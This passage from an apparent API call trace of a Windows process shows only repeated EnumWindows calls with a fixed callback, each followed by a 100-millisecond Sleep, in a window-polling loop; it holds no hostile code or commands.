(lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.243] Sleep (dwMilliseconds=0x64) [0172.245] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.245] Sleep (dwMilliseconds=0x64) [0172.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.248] Sleep (dwMilliseconds=0x64) [0172.299] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.300] Sleep (dwMilliseconds=0x64) [0172.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.411] Sleep (dwMilliseconds=0x64) [0172.412] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.412] Sleep (dwMilliseconds=0x64) [0172.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.415] Sleep (dwMilliseconds=0x64) [0172.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.417] Sleep (dwMilliseconds=0x64) [0172.420] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.420] Sleep (dwMilliseconds=0x64) [0172.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.422] Sleep (dwMilliseconds=0x64) [0172.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.423] Sleep (dwMilliseconds=0x64) [0172.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.426] Sleep (dwMilliseconds=0x64) [0172.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.428] Sleep (dwMilliseconds=0x64) [0172.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.430] Sleep (dwMilliseconds=0x64) [0172.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.432] Sleep (dwMilliseconds=0x64) [0172.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.433] Sleep (dwMilliseconds=0x64) [0172.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.435] Sleep (dwMilliseconds=0x64) [0172.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.438] Sleep (dwMilliseconds=0x64) [0172.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.440] Sleep (dwMilliseconds=0x64) [0172.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.496] Sleep (dwMilliseconds=0x64) [0172.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.539] Sleep (dwMilliseconds=0x64) [0172.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.541] Sleep (dwMilliseconds=0x64) [0172.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.543] Sleep (dwMilliseconds=0x64) [0172.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.545] Sleep (dwMilliseconds=0x64) [0172.547] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.547] Sleep (dwMilliseconds=0x64) [0172.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.549] Sleep (dwMilliseconds=0x64) [0172.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.551] Sleep (dwMilliseconds=0x64) [0172.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.553] Sleep (dwMilliseconds=0x64) [0172.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.554] Sleep (dwMilliseconds=0x64) [0172.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.556] Sleep (dwMilliseconds=0x64) [0172.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.559] Sleep (dwMilliseconds=0x64) [0172.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.561] Sleep (dwMilliseconds=0x64) [0172.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.563] Sleep (dwMilliseconds=0x64) [0172.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.565] Sleep (dwMilliseconds=0x64) [0172.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.567] Sleep (dwMilliseconds=0x64) [0172.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.599] Sleep (dwMilliseconds=0x64) [0172.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.664] Sleep (dwMilliseconds=0x64) [0172.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.666] Sleep (dwMilliseconds=0x64) [0172.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.669] Sleep (dwMilliseconds=0x64) [0172.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.671] Sleep (dwMilliseconds=0x64) [0172.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.676] Sleep (dwMilliseconds=0x64) [0172.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.678] Sleep (dwMilliseconds=0x64) [0172.680] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.680] Sleep (dwMilliseconds=0x64) [0172.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.682] Sleep (dwMilliseconds=0x64) [0172.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.684] Sleep (dwMilliseconds=0x64) [0172.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.687] Sleep (dwMilliseconds=0x64) [0172.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.688] Sleep (dwMilliseconds=0x64) [0172.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.690] Sleep (dwMilliseconds=0x64) [0172.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.693] Sleep (dwMilliseconds=0x64) [0172.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.707] Sleep (dwMilliseconds=0x64) [0172.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.790] Sleep (dwMilliseconds=0x64) [0172.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.793] Sleep (dwMilliseconds=0x64) [0172.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.795] Sleep (dwMilliseconds=0x64) [0172.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.797] Sleep (dwMilliseconds=0x64) [0172.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.882] Sleep (dwMilliseconds=0x64) [0172.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.906] Sleep (dwMilliseconds=0x64) [0172.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.908] Sleep (dwMilliseconds=0x64) [0172.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.912] Sleep (dwMilliseconds=0x64) [0172.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.914] Sleep (dwMilliseconds=0x64) [0172.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.916] Sleep (dwMilliseconds=0x64) [0172.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.918] Sleep (dwMilliseconds=0x64) [0172.920] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.920] Sleep (dwMilliseconds=0x64) [0172.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.922] Sleep (dwMilliseconds=0x64) [0172.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.924] Sleep (dwMilliseconds=0x64) [0172.926] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.926] Sleep (dwMilliseconds=0x64) [0172.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.928] Sleep (dwMilliseconds=0x64) [0172.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.930] Sleep (dwMilliseconds=0x64) [0172.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.932] Sleep (dwMilliseconds=0x64) [0172.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.934] Sleep (dwMilliseconds=0x64) [0172.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0172.961] Sleep (dwMilliseconds=0x64) [0173.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.010] Sleep (dwMilliseconds=0x64) [0173.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.063] Sleep (dwMilliseconds=0x64) [0173.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.066] Sleep (dwMilliseconds=0x64) [0173.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.070] Sleep (dwMilliseconds=0x64) [0173.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.071] Sleep (dwMilliseconds=0x64) [0173.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.073] Sleep (dwMilliseconds=0x64) [0173.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.075] Sleep (dwMilliseconds=0x64) [0173.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.076] Sleep (dwMilliseconds=0x64) [0173.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.078] Sleep (dwMilliseconds=0x64) [0173.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.079] Sleep (dwMilliseconds=0x64) [0173.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.081] Sleep (dwMilliseconds=0x64) [0173.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.082] Sleep (dwMilliseconds=0x64) [0173.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.084] Sleep (dwMilliseconds=0x64) [0173.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.085] Sleep (dwMilliseconds=0x64) [0173.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.091] Sleep (dwMilliseconds=0x64) [0173.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.093] Sleep (dwMilliseconds=0x64) [0173.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.130] Sleep (dwMilliseconds=0x64) [0173.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.201] Sleep (dwMilliseconds=0x64) [0173.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.203] Sleep (dwMilliseconds=0x64) [0173.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.205] Sleep (dwMilliseconds=0x64) [0173.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.207] Sleep (dwMilliseconds=0x64) [0173.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.208] Sleep (dwMilliseconds=0x64) [0173.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.211] Sleep (dwMilliseconds=0x64) [0173.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.213] Sleep (dwMilliseconds=0x64) [0173.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.215] Sleep (dwMilliseconds=0x64) [0173.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.291] Sleep (dwMilliseconds=0x64) [0173.322] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.332] Sleep (dwMilliseconds=0x64) [0173.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.335] Sleep (dwMilliseconds=0x64) [0173.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.337] Sleep (dwMilliseconds=0x64) [0173.351] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.351] Sleep (dwMilliseconds=0x64) [0173.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.417] Sleep (dwMilliseconds=0x64) [0173.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.466] Sleep (dwMilliseconds=0x64) [0173.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.468] Sleep (dwMilliseconds=0x64) [0173.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.470] Sleep (dwMilliseconds=0x64) [0173.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.473] Sleep (dwMilliseconds=0x64) [0173.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.475] Sleep (dwMilliseconds=0x64) [0173.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.476] Sleep (dwMilliseconds=0x64) [0173.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.478] Sleep (dwMilliseconds=0x64) [0173.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.479] Sleep (dwMilliseconds=0x64) [0173.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.481] Sleep (dwMilliseconds=0x64) [0173.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.482] Sleep (dwMilliseconds=0x64) [0173.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.484] Sleep (dwMilliseconds=0x64) [0173.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.486] Sleep (dwMilliseconds=0x64) [0173.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.488] Sleep (dwMilliseconds=0x64) [0173.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.490] Sleep (dwMilliseconds=0x64) [0173.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.492] Sleep (dwMilliseconds=0x64) [0173.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.494] Sleep (dwMilliseconds=0x64) [0173.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.495] Sleep (dwMilliseconds=0x64) [0173.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.566] Sleep (dwMilliseconds=0x64) [0173.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.636] Sleep (dwMilliseconds=0x64) [0173.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.638] Sleep (dwMilliseconds=0x64) [0173.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.641] Sleep (dwMilliseconds=0x64) [0173.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.642] Sleep (dwMilliseconds=0x64) [0173.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.644] Sleep (dwMilliseconds=0x64) [0173.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.646] Sleep (dwMilliseconds=0x64) [0173.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.647] Sleep (dwMilliseconds=0x64) [0173.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.649] Sleep (dwMilliseconds=0x64) [0173.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.651] Sleep (dwMilliseconds=0x64) [0173.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.653] Sleep (dwMilliseconds=0x64) [0173.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.655] Sleep (dwMilliseconds=0x64) [0173.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.657] Sleep (dwMilliseconds=0x64) [0173.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.659] Sleep (dwMilliseconds=0x64) [0173.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.661] Sleep (dwMilliseconds=0x64) [0173.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.662] Sleep (dwMilliseconds=0x64) [0173.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.664] Sleep (dwMilliseconds=0x64) [0173.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.754] Sleep (dwMilliseconds=0x64) [0173.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.763] Sleep (dwMilliseconds=0x64) [0173.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.765] Sleep (dwMilliseconds=0x64) [0173.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.767] Sleep (dwMilliseconds=0x64) [0173.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.769] Sleep (dwMilliseconds=0x64) [0173.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.771] Sleep (dwMilliseconds=0x64) [0173.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.775] Sleep (dwMilliseconds=0x64) [0173.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.776] Sleep (dwMilliseconds=0x64) [0173.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.778] Sleep (dwMilliseconds=0x64) [0173.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.780] Sleep (dwMilliseconds=0x64) [0173.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.783] Sleep (dwMilliseconds=0x64) [0173.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.784] Sleep (dwMilliseconds=0x64) [0173.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.787] Sleep (dwMilliseconds=0x64) [0173.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.788] Sleep (dwMilliseconds=0x64) [0173.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.791] Sleep (dwMilliseconds=0x64) [0173.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.793] Sleep (dwMilliseconds=0x64) [0173.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.794] Sleep (dwMilliseconds=0x64) [0173.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.796] Sleep (dwMilliseconds=0x64) [0173.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.798] Sleep (dwMilliseconds=0x64) [0173.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.801] Sleep (dwMilliseconds=0x64) [0173.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.803] Sleep (dwMilliseconds=0x64) [0173.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.805] Sleep (dwMilliseconds=0x64) [0173.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.807] Sleep (dwMilliseconds=0x64) [0173.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.870] Sleep (dwMilliseconds=0x64) [0173.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.894] Sleep (dwMilliseconds=0x64) [0173.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.896] Sleep (dwMilliseconds=0x64) [0173.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.899] Sleep (dwMilliseconds=0x64) [0173.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.900] Sleep (dwMilliseconds=0x64) [0173.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.902] Sleep (dwMilliseconds=0x64) [0173.905] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.906] Sleep (dwMilliseconds=0x64) [0173.907] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.907] Sleep (dwMilliseconds=0x64) [0173.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.916] Sleep (dwMilliseconds=0x64) [0173.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.918] Sleep (dwMilliseconds=0x64) [0173.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0173.921] Sleep (dwMilliseconds=0x64) [0174.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.028] Sleep (dwMilliseconds=0x64) [0174.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.070] Sleep (dwMilliseconds=0x64) [0174.075] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.076] Sleep (dwMilliseconds=0x64) [0174.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.078] Sleep (dwMilliseconds=0x64) [0174.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.082] Sleep (dwMilliseconds=0x64) [0174.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.086] Sleep (dwMilliseconds=0x64) [0174.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.090] Sleep (dwMilliseconds=0x64) [0174.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.094] Sleep (dwMilliseconds=0x64) [0174.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.096] Sleep (dwMilliseconds=0x64) [0174.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.140] Sleep (dwMilliseconds=0x64) [0174.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.206] Sleep (dwMilliseconds=0x64) [0174.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.211] Sleep (dwMilliseconds=0x64) [0174.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.218] Sleep (dwMilliseconds=0x64) [0174.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.223] Sleep (dwMilliseconds=0x64) [0174.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.228] Sleep (dwMilliseconds=0x64) [0174.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.232] Sleep (dwMilliseconds=0x64) [0174.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.237] Sleep (dwMilliseconds=0x64) [0174.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.253] Sleep (dwMilliseconds=0x64) [0174.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.358] Sleep (dwMilliseconds=0x64) [0174.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.360] Sleep (dwMilliseconds=0x64) [0174.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.362] Sleep (dwMilliseconds=0x64) [0174.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.364] Sleep (dwMilliseconds=0x64) [0174.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.374] Sleep (dwMilliseconds=0x64) [0174.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.378] Sleep (dwMilliseconds=0x64) [0174.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.380] Sleep (dwMilliseconds=0x64) [0174.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.382] Sleep (dwMilliseconds=0x64) [0174.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.384] Sleep (dwMilliseconds=0x64) [0174.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.385] Sleep (dwMilliseconds=0x64) [0174.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.387] Sleep (dwMilliseconds=0x64) [0174.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.388] Sleep (dwMilliseconds=0x64) [0174.390] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.390] Sleep (dwMilliseconds=0x64) [0174.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.392] Sleep (dwMilliseconds=0x64) [0174.393] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.393] Sleep (dwMilliseconds=0x64) [0174.394] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.395] Sleep (dwMilliseconds=0x64) [0174.396] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.397] Sleep (dwMilliseconds=0x64) [0174.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.398] Sleep (dwMilliseconds=0x64) [0174.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.400] Sleep (dwMilliseconds=0x64) [0174.402] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.402] Sleep (dwMilliseconds=0x64) [0174.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.500] Sleep (dwMilliseconds=0x64) [0174.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.502] Sleep (dwMilliseconds=0x64) [0174.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.505] Sleep (dwMilliseconds=0x64) [0174.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.508] Sleep (dwMilliseconds=0x64) [0174.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.510] Sleep (dwMilliseconds=0x64) [0174.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.512] Sleep (dwMilliseconds=0x64) [0174.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.515] Sleep (dwMilliseconds=0x64) [0174.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.517] Sleep (dwMilliseconds=0x64) [0174.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.518] Sleep (dwMilliseconds=0x64) [0174.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.520] Sleep (dwMilliseconds=0x64) [0174.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.522] Sleep (dwMilliseconds=0x64) [0174.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.524] Sleep (dwMilliseconds=0x64) [0174.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.526] Sleep (dwMilliseconds=0x64) [0174.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.528] Sleep (dwMilliseconds=0x64) [0174.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.529] Sleep (dwMilliseconds=0x64) [0174.577] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.578] Sleep (dwMilliseconds=0x64) [0174.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.629] Sleep (dwMilliseconds=0x64) [0174.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.632] Sleep (dwMilliseconds=0x64) [0174.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.639] Sleep (dwMilliseconds=0x64) [0174.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.642] Sleep (dwMilliseconds=0x64) [0174.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.644] Sleep (dwMilliseconds=0x64) [0174.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.646] Sleep (dwMilliseconds=0x64) [0174.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.649] Sleep (dwMilliseconds=0x64) [0174.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.651] Sleep (dwMilliseconds=0x64) [0174.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.653] Sleep (dwMilliseconds=0x64) [0174.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.655] Sleep (dwMilliseconds=0x64) [0174.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.658] Sleep (dwMilliseconds=0x64) [0174.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.682] Sleep (dwMilliseconds=0x64) [0174.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.802] Sleep (dwMilliseconds=0x64) [0174.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.804] Sleep (dwMilliseconds=0x64) [0174.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0174.806] Sleep (dwMilliseconds=0x64) [0174.807] EnumWindows 